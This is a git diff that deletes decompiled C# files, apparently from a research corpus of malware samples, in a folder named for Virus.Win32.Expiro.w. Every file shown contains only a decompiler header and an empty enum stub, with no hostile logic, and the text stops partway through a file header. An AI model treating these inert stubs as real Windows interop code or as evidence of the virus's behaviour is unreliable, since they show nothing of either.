a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDATADIR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDATADIR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDATADIR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDCOM_CALL_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDCOM_CALL_STATE.cs deleted file mode 100644 index 67ab45c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDCOM_CALL_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDCOM_CALL_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagDCOM_CALL_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESCKIND.cs deleted file mode 100644 index 04bfc338..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDESCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESKBANDCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESKBANDCID.cs deleted file mode 100644 index 449d3091..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESKBANDCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESKBANDCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDESKBANDCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDISCARDCACHE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDISCARDCACHE.cs deleted file mode 100644 index 843dee9b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDISCARDCACHE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDISCARDCACHE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDISCARDCACHE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDOMNodeType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDOMNodeType.cs deleted file mode 100644 index d3b968f3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDOMNodeType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDOMNodeType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDOMNodeType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT.cs deleted file mode 100644 index 82a6ea3b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagDVASPECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT2.cs deleted file mode 100644 index 2eb5ac85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT2.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDVASPECT2 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEOLE_AUTHENTICATION_CAPABILITIES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEOLE_AUTHENTICATION_CAPABILITIES.cs deleted file mode 100644 index a9a77ef6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEOLE_AUTHENTICATION_CAPABILITIES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEOLE_AUTHENTICATION_CAPABILITIES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEOLE_AUTHENTICATION_CAPABILITIES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDFLAGS.cs deleted file mode 100644 index 8e478431..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagEXPCMDFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDSTATE.cs deleted file mode 100644 index 0c08956e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagEXPCMDSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXTCONN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXTCONN.cs deleted file mode 100644 index 728e4721..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXTCONN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXTCONN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEXTCONN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtendedErrorParamTypes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtendedErrorParamTypes.cs deleted file mode 100644 index 2abb9fbd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtendedErrorParamTypes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtendedErrorParamTypes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagExtendedErrorParamTypes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtentMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtentMode.cs deleted file mode 100644 index af1146fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtentMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtentMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagExtentMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERFLAGS.cs deleted file mode 100644 index 60ed8228..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagFOLDERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERVIEWMODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERVIEWMODE.cs deleted file mode 100644 index 13e2bc3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERVIEWMODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERVIEWMODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFOLDERVIEWMODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCFLAGS.cs deleted file mode 100644 index 11feb6ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCKIND.cs deleted file mode 100644 index 40e2663f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGETPROPERTYSTOREFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGETPROPERTYSTOREFLAGS.cs deleted file mode 100644 index 4c2581f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGETPROPERTYSTOREFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGETPROPERTYSTOREFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagGETPROPERTYSTOREFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGPFIDL_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGPFIDL_FLAGS.cs deleted file mode 100644 index e8f18c3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGPFIDL_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGPFIDL_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGPFIDL_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGUIDKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGUIDKIND.cs deleted file mode 100644 index 87f6cd0e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGUIDKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGUIDKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGUIDKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagHITRESULT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagHITRESULT.cs deleted file mode 100644 index 2c4ccf51..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagHITRESULT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagHITRESULT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagHITRESULT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINTERVAL_LIMIT_KIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINTERVAL_LIMIT_KIND.cs deleted file mode 100644 index 6f8f29cb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINTERVAL_LIMIT_KIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINTERVAL_LIMIT_KIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagINTERVAL_LIMIT_KIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINVOKEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINVOKEKIND.cs deleted file mode 100644 index 93a76430..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINVOKEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINVOKEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagINVOKEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLIBFLAGS.cs deleted file mode 100644 index 911c11a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 